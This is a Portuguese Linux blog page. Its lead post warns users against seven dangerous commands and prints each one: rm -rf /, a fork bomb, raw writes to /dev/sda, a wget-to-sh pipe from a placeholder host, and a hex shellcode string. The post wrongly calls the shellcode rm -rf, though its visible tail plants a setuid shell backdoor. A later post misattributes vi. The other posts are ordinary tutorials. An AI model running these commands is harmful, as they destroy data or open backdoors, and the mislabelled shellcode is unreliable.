Diolinux - O modo Linux e Open Source de ver o Mundo

Responsive Ad Slot

Mostrando postagens com marcador dica. Mostrar todas as postagens
Mostrando postagens com marcador dica. Mostrar todas as postagens

7 comandos perigosos do Linux que você NUNCA deve executar

Nenhum comentário

quinta-feira, 17 de janeiro de 2019

Como o número de usuários leigos de Linux vem aumentando com o tempo, acho pertinente alertar as pessoas sobre alguns comandos que podem ser perigosos, tanto para o sistema, quanto para os dados contidos no computador.

7 Comandos perigosos do mundo Linux




O terminal é uma ferramenta muito poderosa, por conta disso é bom você dominá-lo, ou pelo menos entendê-lo, para evitar problemas no seu sistema baseado em Linux.
Veja também: O curso no Diolinux EAD para aprender a dominar o terminal
Os grandes problemas que você pode enfrentar usando o terminal de forma indiscriminada normalmente estão atrelados a comandos de sobrescrita de dados, então vamos mostrar alguns aqui que você deve prestar especial atenção quando vir alguém sugerindo que você faça no seu computador com Linux.

Atenção: Você NÃO deve executar nenhum destes comandos no seu computador, isso pode causar danos irreversíveis que nós não nos responsabilizamos, o artigo tem a intenção de ser instrutivo, justamente para evitar este tipo de situação.

1 - rm -rf


É um comando clássico do do Linux que teoricamente não faz nada de mais, ele serve apenas para apagar arquivos, e é aí que mora o perigo. Dependendo da forma que ele for aplicativo o resultado pode ser muito desagradável, por isso é importante você entender o que os comandos fazem, vamos explicar um pouco melhor neste exemplo:
- rm: comando usado no Linux para deletar arquivos.
- rm -r: o comando deleta pastas recursivamente, mesmo que a pastas esteja vazia.
- rm -f: cUsando este parâmetro, o propriedade de "apenas leitura" que um arquivo tenha é removida sem perguntar, permitindo que o arquivo seja apagado.
- rm -rf / : Usando a combinação dos dois parâmetros com a "/" você diz para o sistema apagar tudo que está no diretório raiz do sistema.
- rm -rf * : Força o apagamento de tudo que está no diretório atual ou no de trabalho, dependendo de onde você estiver.
- rm -rf . : Acrescentando um ponto, você pode apagar também as pastas ocultas, além das normais.

Tome muito cuidado ao executar um comando destes, especialmente se for feito como root ou usando o sudo.


Tão perigoso que pode ser este comando, que atualmente o Linux se protege contra ele, se você rodá-lo, mesmo com sudo ou como root, ele não vai funcionar, para isso é preciso usar os parâmetros descritos na imagem acima. Da mesma forma que o Linux protege você de destruir o sistema sem querer, ele também permite que você o destrua mediante a ter certeza de que é realmente isso que você quer, curioso, não é?

2 - :(){:|:&};:


Este comando funciona como uma "Fork Bomb", ele opera definindo uma função chamada ':', que se chama duas vezes, uma vez em primeiro plano e outra em segundo plano, o processo se repete indefinidamente até que o sistema trave.

3 - qualquer comando para > /dev/sda


A forma com que o Linux lê as partições e discos é diferente do Windows, por conta disso, normalmente novatos não conseguem entender em primeira instância como eles são distribuídos. Normalmente a localização dos dispositivos de armazenamento do sistema ficam dentro de /dev, sendo que podem haver vários por ali e normalmente o sda está presente.

O problema do comando acima é que ele redireciona a saída de qualquer comando que seja colocado para o seu bloco de armazenamento, desta foma sobrescrevendo alguns dados e corrompendo outros.

4 - mv pasta/diretório /dev/null


Eu costumava brincar sobre o /dev/null me referindo a ele como o "buraco negro" do Linux. Tudo que é enviado para ele é perdido "para sempre". Então tome cuidado ao mover qualquer coisa para esta localização. O comando mv serve para mover arquivos ou diretórios para o destino indicado, se este destino for o /dev/null você estará mandando seus arquivos pra Nárnia.

5 - wget http://malicious_source -O- | sh


Este comando vai aparecer para você instalar alguns programas. O wget é o programa responsável por fazer o download da URL que vem logo após, ele é bem útil para baixar arquivos em geral, o problema está no arquivo que ele baixa e na sequência do comando  que o executa no caso dele ser um shell script. Só baixe arquivos desta forma de fontes que você considera confiáveis e se estiver na dúvida, baixe apenas o arquivo de shell, eliminando qualquer parâmetro que apareça após o link, assim você pode abrir ele em um editor de texto de sua preferência e verificar o que há dentro dele.

6 - dd if=/dev/random of=/dev/sda


Assim como o ítem 3 da nossa lista, o grande problema aqui é o destino ser o /dev/sda. Tome cuidado. O comando dd pode ser muito útil para copiar arquivos e até mesmo partições inteiras, como no exemplo 6, mas se a saída for um outro disco, tome cuidado, pois o resultado irá sobrepor os dados lá existentes.

7 - Comandos disfarçados


Como eu comentei à princípio, o terminal é uma ferramenta poderosa, se você não dominá-lo, é bom ter cuidado com que você for rodar nele, se o você não fala a língua do terminal, saiba que ele fala muitas outras. O comando abaixo nada mais é do que o comando indicado no primeiro item da nossa lista, só que em forma hexadecimal.

char esp[] __attribute__ ((section(“.text”))) /* e.s.p release */ = “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68″ “\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99″ “\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7″ “\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56″ “\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31″ “\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69″ “\x6e\x2f\x73\x68\x00\x2d\x63\x00″ “cp -p /bin/sh /tmp/.beyond; chmod 4755 /tmp/.beyond;”;

Ele tem o mesmo propósito do famigerado "rm -rf /", por isso, não rode coisas no terminal que você não sabe para quem servem, existem muito conteúdo grátis a internet para você estudar sobre e até mesmo alguns bons cursos pagos, como é o caso do "Dominando o Terminal" aqui do blog mesmo, mas em linhas gerais, se você evitar colocar comandos que você não sabe para que servem direito, os problemas já serão minimizados. 

Agora espalhe este conhecimento para ajudar mais pessoas a ficarem precavidas sobre estes pequenos percalços da vida computacional.

Até a próxima!
_____________________________________________________________________________
Viu algum erro ou gostaria de adicionar alguma sugestão a essa matéria? Colabore, clique aqui.




Conheça o Kakoune, um Vim fácil de usar

Nenhum comentário
O Vim é um clássico do mundo Linux, um editor de texto muito poderoso e usado por diversas pessoas ao redor do mundo, mas ele, apesar de muito bom, não é a única opção. Desconsiderando o Emacs, Nano, e alguns outros, também bem populares, hoje você vai conhecer o interessantíssimo, Kakoune.

Kakoune
















Kakoune é um editor de texto inspirado no Vim que possui comandos similares e de uso mais intuitivo. Ele possui um sistema de ajuda interativa, o xclip que é baseado no famoso Clippy do Microsoft Office e de outros aplicativos.

O Kakoune está no repositório de todas as distribuições Linux e em outros sistemas: FreeBSD, OpenBSD, macOS, Windows e entre outros. Então para instalá-lo não há segredo, basta rodar o comando de instalação do gerenciador de pacotes do seu sistema. Exemplo para Debian, Ubuntu e Mint:
sudo apt install kakoune

Utilização


Como foi dito acima, os comandos do Kakoune são similares ao do Vim. Para você abrir ou criar um arquivo, basta rodar o comando kak arquivo. Ele terá o modo de inserção (pressione a tecla i para começar a digitar) e para sair e salvar (pressione ESC e em seguinda tecle :wq) . Se quiser só salvar [ESC] :w e se quiser sair sem salvar [ESC] :q!

Configuração


Para o obter ajuda do Kakoune, basta teclar a letra 'q' ou 'Q' em maiúsculo . Abrirá o ajudante (Clippy) para lhe dar algumas dicas, veja a imagem abaixo:

Obtendo ajuda do Clippy


Kakoune

Teclando i para digitar o texto:

Teclando i para digitar o texto


Pressionei ESC e depois digitei :wq

Perceba que além do Clippy , agora também tem uma barra branca que me orienta quais comandos utilizar . Eu poderia ainda pressionar a tecla TAB que o Kakoune iria navegar nessas opções e escrever o comandos para mim, como há na imagem logo abaixo.

Pressionei ESC e depois digitei :wq

Pressionando TAB e navegando nas opções:

Pressionando TAB e navegando nas opções:


Customizando seu Kakoune


Você pode numerar as linhas , alterar o tema de cores e entre várias outras formas . Se você pressionar ESC ':' (dois pontos) perceba que ele já lhe orienta sobre os comandos.

Kakoune

Se você quiser numerar as linhas o comando é (comece a digitar o comando e use o TAB para facilitar):
add-highlighter global/ number_lines
Kakoune

Para mudar o tema de cores:
colorscheme [tema_que_você_deseja]
Kakoune

E muitos outros comandos que você mesmo pode notar no menu suspenso. Mas quando você fechar o Kakoune, essas configurações serão perdidas , mas você pode tornar essas alterações definitivas criando um diretório de nome kak dentro do diretório .config na raíz do seu usuário, veja o comando:
mkdir -p ~/.config/kak
E depois crie o um arquivo de nome kakrc e coleque os mesmos comandos que você utilizou dentro do arquivo, assim:
kak .config/kak/kakrc
Tecle i para entrar no modo de inserção ( insert ) e cole esse conteúdo nele, supondo que você deseja esse tema:
add-highlighter global/ number_lines
colorscheme [tema_que_você_escolheu]
Não esqueça de salvar antes de sair [ESC]:wq ou [ESC]:write-quit como o próprio Kakoune sugere .
Pronto, agora é só abrir o Kakoune e as configurações não serão perdidas. O diretório raíz de configurações do Kakoune é em /usr/share/kak/ , dentro dele tem arquivos .kak que são sintaxes para diversas linguagens de programação e entre outros arquivos e diretórios, que é uma boa ideia analizar.

E por falar em boa ideia, não deixe de consultar a wiki oficial do Kakoune no endereço: https://github.com/mawww/kakoune/wiki que tem diversas dicas bem bacanas e se quiser utilizar um kakrc com diversas configurações já inclusas , copie desse endereço:

Você notou a semelhança com o Vim, caso deseje obter dicas do Vim que servirão pro seu Kakoune, clique nesse link: 7 dicas para você usar o VIM como um PRO.

Página oficial do Kakoune: http://kakoune.org/

Este artigo foi escrito em conjunto com Marcos, do Terminal Root.

Abraços!
_____________________________________________________________________________
Viu algum erro ou gostaria de adicionar alguma sugestão a essa matéria? Colabore, clique aqui.


Conheça o Bat, um clone do cat com Asas

Nenhum comentário

sexta-feira, 4 de janeiro de 2019

Não estamos falando de morcegos e gatos literalmente, mas sim do famoso comando "cat" que permite que você visualize o conteúdo dos arquivos no Linux. Uma das curiosidades do mundo open source e que até coisas básicas, relativamente simples e consolidadas como o comando "cat" podem possuir alternativas. Conheça hoje o "bat".

Comando bat em substituição ao cat



O Bat é um clone do comando cat que possui Syntax Highlighting (colorização da saída de acordo com o tipo do documento), numeração de linhas e ainda possui integração com o Git, mostrando partes que foram alteradas do arquivo de acordo com o último commit.

Além disso, ele ainda possui temas para realce de sintaxe para linguagens de programação e de marcação, concatenação e paginação de arquivos e entre outras facilidades.

Como instalar?


Para instalar o "bat" no Debian, Ubuntu, Mint e derivados rode os comandos abaixo em ordem:

Para sistemas 64 bits:
wget https://github.com/sharkdp/bat/releases/download/v0.9.0/bat_0.9.0_amd64.deb
sudo dpkg -i bat_0.9.0_amd64.deb
Para sistemas 32 bits:
wget https://github.com/sharkdp/bat/releases/download/v0.9.0/bat_0.9.0_i386.deb
sudo dpkg -i bat_0.9.0_i386.deb
Caso você use Arch, Manjaro, Antergos e derivados:
sudo pacman -S bat
Caso você outra distro (ou qualquer uma), use:

Para sistemas 64 bits:
wget https://github.com/sharkdp/bat/releases/download/v0.9.0/bat-v0.9.0-x86_64-unknown-linux-gnu.tar.gz
tar zxvf bat-v0.9.0-x86_64-unknown-linux-gnu.tar.gz
cd bat-v0.9.0-x86_64-unknown-linux-gnu/
sudo mv bat /usr/local/bin/
sudo mv bat.1 $(man -w echo | sed 's/echo.*//')
Para sistemas 32 bits:
wget https://github.com/sharkdp/bat/releases/download/v0.9.0/bat-v0.9.0-i686-unknown-linux-gnu.tar.gz
tar zxvf bat-v0.9.0-i686-unknown-linux-gnu.tar.gz
cd bat-v0.9.0-i686-unknown-linux-gnu/
sudo mv bat /usr/local/bin/
sudo mv bat.1 $(man -w echo | sed 's/echo.*//')

E como se usa? 


Brincar com o "morcego" é tão fácil quanto com o "gato" e acho que só no mundo Linux essa frase faz algum sentido, não é, não? 🤣🤣🤣

Para começar usar o Bat, você pode simplesmente rodar o comando bat [seu_arquivo] ou se quiser iniciar aos poucos, rode o comando bat --help para ter uma ajuda, se preferir, leia diretamente pelo manual com o comando man bat.

Alguns exemplos para você entender


Vamos ler um arquivo de Shell Script para ver a saída:

Bat Instagram

Existem muitas outras opções de configuração, leitura e personalização de cores que você pode fazer no Bat, basta usar o help ou o manual para ter uma noção melhor, outro lugar legal para você visitar é o repositório do software no GitHub, lá você também encontra muitas informações.

Caso você não tenha um bom domínio com comandos do terminal ou deseja ampliar ainda mais, recomendo você adquirir os treinamentos oferecidos aqui no blog Diolinux, juntamente com o Terminal Root e aproveitar os pacotes exclusivos. Saiba mais clicando aqui.

Abraços!
_____________________________________________________________________________
Viu algum erro ou gostaria de adicionar alguma sugestão a essa matéria? Colabore, clique aqui.


Como instalar o MetaTrader no Linux

Nenhum comentário

terça-feira, 13 de novembro de 2018

O MetaTrader é um dos softwares mais populares no mercado de análise financeira, especulação e trading em bolsas de valores. Hoje você vai aprender a instalar ele na sua distro Linux.

MetaTrader Instalar Linux






Ao longo do tempo nós recebemos vários pedidos para ensinar a instalar o MetaTrader no Linux, recebemos um novo recentemente, que foi o que nos motivou a resolver este problema de uma vez. O próprio site do MetaTrader aponta o suporte para Linux, porém, ele é feito através do Wine. Isso não é necessariamente um problema, porém, o tutorial contido no site do MetaTrader é suscetível a problemas de atualização do Wine, por usar apenas o Wine instalado diretamente no sistema.

A solução para isso é usar o PlayOnLinux, ele vai fazer com que você mantenha o seu software estável.

Existe um vídeo no canal que te ensina usar todos os recursos do PlayOnLinux, apesar de ser um vídeo antigo, ele ainda é válido e será útil para você.

Como fazer a instalação do MetaTrader no Linux


O MetaTrader tem duas versões, a 4 e a 5, neste tutorial vamos usar a 5, mas você pode aplicar o mesmo método para a outra versão também.

1 - O primeiro passo é baixar o MetaTrader, faça o download e salve em alguma pasta de sua preferência, vamos puder usar ele mais tarde.

2 - Instale o PlayOnLinux, você o encontra na loja de aplicativos do seu sistema:

PlayOnLinux

3 - Abra o PlayOnLinux, vá na opção de instalar e procure por "MetaTrader", você encontrará as duas opções, instale qualquer uma das duas. Provavelmente você terá um erro nesse processo, mas esse passo é importante para criar o prefixo do Wine onde o nosso MetaTrader vai rodar. Se ao final da instalação der erro, não se preocupe, é isso mesmo. Se não der, bom... você acabou de instalar o MetaTrader...

Seguindo...

Instalando o MetaTrader no Linux

4 - Depois do processo anterior, vamos gerenciar as versões do Wine e instalar a versão de 32 bits mais recente que você encontra (no momento deste artigo é a 3.20). Para isso clique no menu Ferramentas>>Gerenciar versões do Wine.

Configurando Wine MetaTrader

5 - O próximo passo é usar a versão do Wine que você baixou no prefixo do MetaTrader. Clique no botão "Configurar", selecione o prefixo desejado na esquerda e clique na aba "Geral", mude a versão do Wine para a mais recente que você encontrar, depois vá até a aba "Wine" e clique em "Configurar o Wine", na janela que se abrir, mude a versão do Windows para "Windows 10". Confirme as modificações.

Configuração do Wine

6 -  Clique na aba "Diversos" e vá na opção "Rodar um arquivo .exe em um driver virtual", na janela que se abrir, selecione o arquivo .exe do MetaTrader que você baixou no primeiro passo do tutorial. O instalar deve se abrir e agora você pode instalar o software normalmente, como faria no Windows.

MetaTrader no Linux

7 - Depois disso, para facilitar o seu acesso, você pode criar alguns atalhos para o programa.  Na aba "Geral' você encontrará a opção "Faça um novo atalho a partir deste drive virtual", selecione as aplicações das quais você deseja criar atalhos.

Criando atalhos

Se tudo deu certo, você poderá usar o MetaTrader normalmente.

MetaTrader no Linux

Até a próxima!
_____________________________________________________________________________
Viu algum erro ou gostaria de adicionar alguma sugestão a essa matéria? Colabore, clique aqui.


Curso EXTREMAMENTE AVANÇADO de Shell Script!

Nenhum comentário

domingo, 11 de novembro de 2018

Agora que você já perdeu o medo do terminal Linux chegou a hora de dar um passo a mais e usar todo o potencial que ele te oferece como uma ferramenta para controle, automação e até diversão, por que não?

Cursos avançado de Shell Script







O meu amigo Marcos, do canal Terminal Root, vem desenvolvendo há muito tempo um material extenso e completo sobre o uso de aplicações em modo texto, terminal e shell script e hoje eu tenho o prazer de anunciar a disponibilidade deste material!

O que você vai aprender se fizer o curso?


Absolutamente tudo sobre manuais, processos, animações em ASCII e Unicode. Vai aprender inúmeros comandos de manipulação de dados do Terminfo e Termcap. Também vai descobrir todo raciocínio e lógica utilizada para criação de games, utilizando a raíz da criação. 

Aprenderá a criar um instalador pra o Arch Linux, bem como manipulação de Sistema de Arquivos via linha de comando. Entre diversos outros tópicos para criar programas profissionais e com recursos UX e UI deixando-os mais intuitivos.

No vídeo à seguir o Marcos te mostra a aplicação prática do Script de instalação do Arch.



São 22 vídeos, mais de 2GB de conteúdo que você pode baixar e guardar com você para sempre, 18 apostilas em PDF, 18 Scripts didáticos e ainda vários arquivos, imagens e outros, tudo isso para te ajudar a estudar e virar um ninja especialista no terminal.

Quanto custa?


O curso possui o valor de investimento de R$ 174,90, porém, um requisito importantíssimo é já ter conhecimento básico ao menos em Shell Script, para que assim você possa desenvolver as habilidades propostas no curso de forma mais rápida.

Caso você não satisfaça esse pré-requisito, o Marcos também preparou alguns cursos que vão te dar toda a base necessária para ir para o curso extremamente avançado.

1 - Curso do Iniciante ao Avançado de Shell Script - Onde você aprenderá o essencial, além de manipular banco de dados e usar Shell Script para Web.

Valor: R$ 39,90.
Mais detalhes em: terminalroot.com.br/bash

2 - Curso do Editor Vim - Você aprenderá a customizar o Vim, podendo por exemplo mapear qualquer tecla para responder como deseja.

Valor: R$ 29,90
Mais detalhes em: terminalroot.com.br/vim

3 - Curso Extremamente Avançado em Shell Script Bash - Para criação de animações, instaladores de distros, games e muito mais, como já comentado neste artigo:

Valor: R$ 174,90
Mais informações em: terminalroot.com.br/shell

PORÉM, como aqui não brinca quando o assunto é promoção, agora, em uma parceria entre o Diolinux e o Terminal Root, você pode levar todos os 3 cursos por apenas R$ 179,90!

Um bônus: Além destes cursos mencionados, você também receberá o curso de SED - Editor de fluxo completo.

Como você pode comprar?


Na verdade, de forma muito simples. Todo o material dos cursos será enviado para você por e-mail, então basta fazer a compra através do PagSeguro: https://pag.ae/bkBDp7l

Depois disso é só aguardar o recebimento do material, se tiver alguma dúvida, entre em contato diretamente com o Marcos em terminalroot.com.br.

Fique ligado no blog e o no canal Diolinux, pois provavelmente sortearemos alguns cursos completos para nossos leitores e inscritos em breve!

Até a próxima!
_____________________________________________________________________________
Viu algum erro ou gostaria de adicionar alguma sugestão a essa matéria? Colabore, clique aqui.


Yaru - Como instalar o novo tema do Ubuntu

Nenhum comentário

quarta-feira, 5 de setembro de 2018

Parece que finalmente as coisas estão mudando pelos lados da Canonical quando o assunto é o visual do Ubuntu, há vários anos os usuários pediam por uma renovação do tema Ambiance do Ubuntu, porém, parece que só agora, no Ubuntu 18.10, que sairá em Outubro de 2018, é que teremos um novo tema por padrão.

Ubuntu Yaru Theme





Apesar do novo tema só vir por padrão na próxima versão do Ubuntu, você já pode instalar o tema Yaru (antigamente chamado de Communitheme) do Ubuntu 18.04 LTS através de um pacote Snap presente na loja de aplicativos.

Abra a aplicativo "Programas" e procure por Yaru:

Instalando o novo tema Yaru no Ubuntu

Instale o tema normalmente como qualquer outro aplicativo, encerre a sessão e na tela de login, clique na engrenagem e selecione o tema para iniciar com o novo visual.

Instalando o novo tema Yaru no Ubuntu

Ainda existem alguns ajustes a serem feitos no tema, mas realmente é uma grande evolução para o visual do Ubuntu, é bom ver o sistema ficando belo novamente, mas sem perder a sua identidade visual.

Até a próxima!
_____________________________________________________________________________
Viu algum erro ou gostaria de adicionar alguma sugestão a essa matéria? Colabore, clique aqui.


Como instalar o Spark Messenger no Ubuntu e no Linux Mint

Nenhum comentário

quarta-feira, 29 de agosto de 2018

O Spark é um cliente de mensagens instantâneas open source, focado em atender empresas e organizações. Ele possui suporte integrado para bate-papo em grupo, integração com VOIP e uma estrutura de segurança muito interessante. Hoje você vai aprender a instalar ele no Ubuntu e no Linux Mint.

Como instalar o Spark no Linux Mint e no Ubuntu






O Spark não é a única opção, mas geralmente é ele que é instalado em um ambiente onde o Open Fire é o servidor de comunicação interna de uma empresa. O Spark Messenger tem suporte para todas as plataformas, incluindo Linux.

Não é a primeira vez que falamos sobre o Spark aqui no blog, há alguns anos eu precisei utilizá-lo em uma empresa que eu trabalhava e na época eu utilizava o Ubuntu 16.04 LTS, com Unity, no artigo você aprende a criar  um ícone de lançador para colocar no desktop.

Felizmente, com o tempo, o processo de instalação do Spark foi simplificado. Recentemente um amigo meu que presta manutenção de computadores em uma empresa de idiomas, que não vem ao caso mencionar, precisou instalar essa ferramenta no Linux Mint 19, um sistema que se encaixou perfeitamente na necessidade deles em substituição ao Windows 10.

Como baixar o instalar o Spark?


O primeiro passo para baixar o Spark para a sua distro é acessar o site oficial, depois haverão algumas possibilidades diferentes de download.

Fazendo o Download do Spark para Linux

Ao observar os downloads para Linux, você verá que temos um pacote Tar.gz (veja mais sobre esse tipo de pacote aqui), temos o pacote .rpm para Red Hat, CentOS, Fedora, SUSE, etc. e temos também a versão em .deb, para Debian, Ubuntu e Linux Mint.

Independente de qual você baixe, basta dar dois cliques para instalar, no caso do Ubuntu você fará a instalação através da loja de aplicativos, do caso do Linux Mint, você usará o instalador de pacotes .deb (gdebi).

Instalando Spark no Linux Mint

Essa versão atual já não depende diretamente do Java, entretanto, em caso de problemas, você pode querer instalar o Java da Oracle, confira este artigo do blog para aprender a fazer a instalação no Ubuntu e no Linux Mint.

O próximo passo é uma dica extra que eu mostrei para o meu amigo para tornar o acesso ao Spark pelos funcionários da empresa que ele estava atendendo tão tradicional quanto seria no Windows, criando um atalho no Desktop. Infelizmente o Spark não recebe atualizações desde 2017 e não cria, automaticamente, um atalho no menu ou no desktop dos sistemas, de modo que, depois de instalado, para você confirmar que o Spark está funcionando, basta digitar no terminal, ou pressionar alt+f2 e digitar: spark

Se funcionar, a forma simples é criar de usá-lo novamente é criar um atalho na área de trabalho, no caso do Linux Mint o processo é extremamente simples.

Criando um atalho para o Spark

1 - Clique com o botão direito na Área de trabalho;

2 - Vá até a opção "Criar novo lançador aqui...";

3 - Coloque "Spark" em "Nome" e "spark", com letras minúsculas em "Comando";

4 - Clique no ícone da imagem para selecionar um ícone para o Spark, você pode baixar o ícone do software e colocar em alguma pasta que você queira, depois é só procurar ela pelo gestor de arquivos.

5 - Clique no botão "Ok", ao fazer isso, será aberta uma caixa de diálogo perguntando se você quer integrar o Spark ao menu do seu sistema também, você pode confirmar, se este for o seu desejo;

6 - Dê dois cliques no ícone e o Spark deve se abrir.

Caso você esteja usando o GNOME no Ubuntu, o processo para isso é um pouco mais complicado, ainda mais agora que o projeto GNOME resolveu remover o suporte para os ícones no Desktop, no entanto, o processo de criação de ícones foi detalhado no nosso outro artigo sobre o Spark mencionado no início deste post.

Outra forma de contornar a situação é usar um editor de menus e criar uma nova entra manualmente.

Até a próxima!
_____________________________________________________________________________
Viu algum erro ou gostaria de adicionar alguma sugestão a essa matéria? Colabore, clique aqui.


Como customizar o "history" do Shell no Linux

Nenhum comentário

segunda-feira, 27 de agosto de 2018

Vamos dar continuidade na nossa série sobre Shell Script chamada "Não é magia, é shell script!" com uma dica muito legal para quem gosta de usar o comando "history".

comando History





Por padrão o comando "history" exibe somente o número da ordem do comando e o comando utilizado, exemplo:

history

  478  bundle exec jekyll serve
  479  tar Jxvf icons-freebsd.tar.xz
  480  ssh diolinux@192.168.1.207
  481  emerge -s thumbnailer
  482  etc-update --automode -5

Para executar um comando do history, bastar usar um 'sinal de exclamação' ! e o número do comando, exemplo: !480, o shell irá executar o comando de número correspondente.

Ás vezes você executa um comando e esquece a sintaxe para fazê-lo rodar, logo, você terá de procurar no history. Para facilitar essa "procura", você pode customizar seu history adicionando, por exemplo, data e hora na execução dos comandos.

Existe uma variável de ambiente que é a HISTTIMEFORMAT , se você adicionar um formato específico pra ela, nesse caso para data e hora, seu history gravará o histórico dos comandos com data e hora.

Por exemplo, copie e cole esse conteúdo no seu terminal e depois rode o comando history, verifique que a saída dos comandos agora possuem data e hora, no entanto, elas estarão todas iguais, pelo fato de você não tê-la possuído anteriormente e está usando somente no tty que você está, tanto é que se você fechar e abrir de novo o terminal as configurações serão perdidas.

Para que esse formato grave a data e hora da execução dos comandos a partir de então, e sem se perder ao fechar o terminal, adicione ela ao seu .bashrc:

echo 'export HISTTIMEFORMAT="%d/%m/%y %T "' >> ~/.bashrc

A partir de então seu histórico de comandos será gravado a data e hora da execução! Saiba mais rodando os comandos:

help history
man 3 strftime

Se você ainda não tem muitos conhecimentos em Shell Script e está procurando uma forma eficaz de aprender do zero? Ou quem sabe você já possui conhecimentos em Shell mas quer evoluir e aprender a criar manuais, processos, games, animações, instaladores e muito mais?

Então não deixe passar a oportunidade de conhecer o "Curso Extremamente Avançado de Shell Script" que oferecemos junto com a galera do Terminal Root, são 3 cursos pelo preço de um, conheça aqui.

Até a próxima e bons estudos!
_____________________________________________________________________________
Viu algum erro ou gostaria de adicionar alguma sugestão a essa matéria? Colabore, clique aqui.


Como instalar e usar a GNOME Software no Linux Mint

Nenhum comentário
Apesar do Linux Mint possuir um excelente gestor de softwares, que permite que você instale tudo o que você precisa com poucos cliques, a GNOME Software pode te oferecer alguns complementos interessantes e garantir uma experiência ainda mais completa se usada em conjunto com o seu sistema.







O GNOME Software possui uma boa integração com pacotes Snap e Flatpak, ainda que talvez em termos de Flatpak, a integração do Mint seja ainda melhor nativamente, no entanto, você pode querer utilizá-lo para gerenciar os seus Snaps, ou talvez, você simplesmente goste do visual ou funcionalidade da aplicação.

GNOME Software no Linux Mint

Explorando a GNOME Software que vem com o Ubuntu por padrão eu acabei descobrindo vários softwares interessantes que estão sendo distribuídos via Snap, de forma que eles não ficam disponíveis no Linux Mint, a menos que você use a linha de comando. Instalando o GNOME Software, esse problema é contornado facilmente.

Como fazer a instalação do GNOME Software no Linux Mint?


Gestor de softwares do Linux Mint

Abra a loja de aplicativos do Linux Mint e procure por "Gnome Software", você verá que alguns resultados serão exibidos, a primeira opção com o ícone diferenciado é a loja em si (vide a imagem acima), os demais são complementos. Você pode instalar os complementos para Snap e Flatpak caso queira que a GNOME Software seja capaz de gerenciar estes formatos também.

Depois de instalados é sobre a procurar por "Programas" no menu do seu Linux Mint ou por "Software", que você encontrará a aplicação, uma vez aberta basta você instalar o que quiser normalmente.

Se preferir fazer a instalação pelo terminal, você pode usar este comando:
sudo apt install gnome-software gnome-software-common gnome-software-plugin-flatpak gnome-software-plugin-snap
De forma geral eu não vejo tanta utilidade na GNOME Software no Linux Mint, a central que ele mesmo carrega é muito rápida e eficiente (e até mais leve), mas a GNOME Software pode ser útil para manusear os pacotes Snap de forma mais intuitiva. 

Até a próxima!
_____________________________________________________________________________
Viu algum erro ou gostaria de adicionar alguma sugestão a essa matéria? Colabore, clique aqui.


Fazendo a pós-instalação do Arch Linux com i3+Polybar+Pywal

Nenhum comentário

sábado, 25 de agosto de 2018

O Arch Linux é uma distro que permite que você customize a instalação de todos os pacotes de software que farão parte do seu sistema, mas por ser, em sua forma padrão, uma distro de configuração bastante manual, é natural "perder tempo" configurando o Arch para deixar ele do seu jeito. No artigo de hoje o nosso amigo Marcos, do canal Terminal Root, vai te dar algumas dicas de pós-instalação do Arch Linux, ideal para quem quer um ambiente minimalista.

Arch Linux - Pós-instalação






O i3 é um Window Manager muito minimalista, mas ele fica melhor quando personalizado. Neste artigo vamos falar sobre ele com a pós-instalação do Arch Linux do i3 (clique aqui para ver um vídeo sobre i3 no Ubuntu Minimal), Polybar, Pywal e mais dos aplicativos listados abaixo de forma Automatizada com Shell Script!

Os pacotes necessários para este tutorial serão:
  • xorg;
  • fonts;
  • lightdm;
  • xterm;
  • firefox;
  • e bash-completion.

Após a instalação do Arch Linux, muitas pessoas perdem muito tempo para deixá-lo pronto pro uso com i3, Polybar e Pywal, nesse caso utilizamos Shell Scripts que automatizam e aceleram todo o processo.

Instalamos o wget, pois ele só existia no CD de boot do Arch . Após baixamos nosso software para pós-instalação automatizada, damos permissão de execução ao programa, verificando quais opções estão disponíveis com o parâmetro --help e otimizamos o espelho de rede, para que as instalações fiquem mais rápidas com o parâmetro --mirror.

Criamos e configuramos um usuário para ser o sudo. E então efetuamos a pós-instalação com nosso aplicativo ninja 😎 !!! Após finalizado, vamos reiniciamos o sistema.

passwd
pacman -Syu
pacman -S wget
wget terminalroot.com.br/pos-arch.in
chmod +x pos-arch.in
./pos-arch.in --help
./pos-arch.in --mirror
./pos-arch.in --sudouser [seu-usuario]
./pos-arch.in --install
reboot

Após iniciar sessão gráfica no i3 , instalamos o Polybar e o Pywal com outro Shell Script Ninja: o Popy
git clone https://gitlab.com/terminalroot/popy.git
cd popy && ./popy.in --all
Além de outras dicas complementares que podem ser consultadas assistindo o vídeo abaixo:


Aprenda a criar aplicativos semelhantes ao pos-arch.in e o popy de forma PROFISSIONAL e EXTREMAMENTE AVANÇADA, se você ainda não tem muitos conhecimentos em Shell Script e está procurando uma forma eficaz de aprender do zero? Ou quem sabe você já possui conhecimentos em Shell mas quer evoluir e aprender a criar manuais, processos, games, animações, instaladores e muito mais? Então não deixe passar a oportunidade de conhecer o "Curso Extremamente Avançado de Shell Script" que oferecemos junto com a galera do Terminal Root, são 3 cursos pelo preço de um, conheça aqui.

Links Úteis

Até a próxima!
_____________________________________________________________________________
Viu algum erro ou gostaria de adicionar alguma sugestão a essa matéria? Colabore, clique aqui.


7 dicas para você usar o VIM como um PRO

Nenhum comentário

sexta-feira, 10 de agosto de 2018

A primeira vez que eu usei o vi, eu achei a coisa mais ridícula do mundo 😱 , pensei comigo, como um editor tão contra-intuitivo faz tanto sucesso ? Mas tive que aprendê-lo, pois diversas vezes os testes de software eram no terminal "seco", sem nada, e alterações, só eram possíveis via o vi, pois em ambiente de testes não se incrementa nada que venha alterar o comportamento de um software no seu ambiente padrão.

Percebi que essa era a realidade de várias pessoas, cada uma em uma situação diferente, mas todas com a mesma missão: usar o vi. Com o tempo busquei aprendê-lo, principalmente o Vim que é sua versão melhorada, e com passar do tempo, até hoje, me pego dando um :wq para sair e salvar as abas do Firefox!😕

Como usar o VIM







Vim (uma contração de Vi IMproved, em português "Vi Melhorado") é um clone do programa editor de textos vi para Unix de Bill Joy. Já o vi, foi escrito por Bram Moolenaar. O Vim é destinado para uso a partir tanto de uma interface de linha de comando como uma aplicação isolada em uma interface gráfica de usuário.

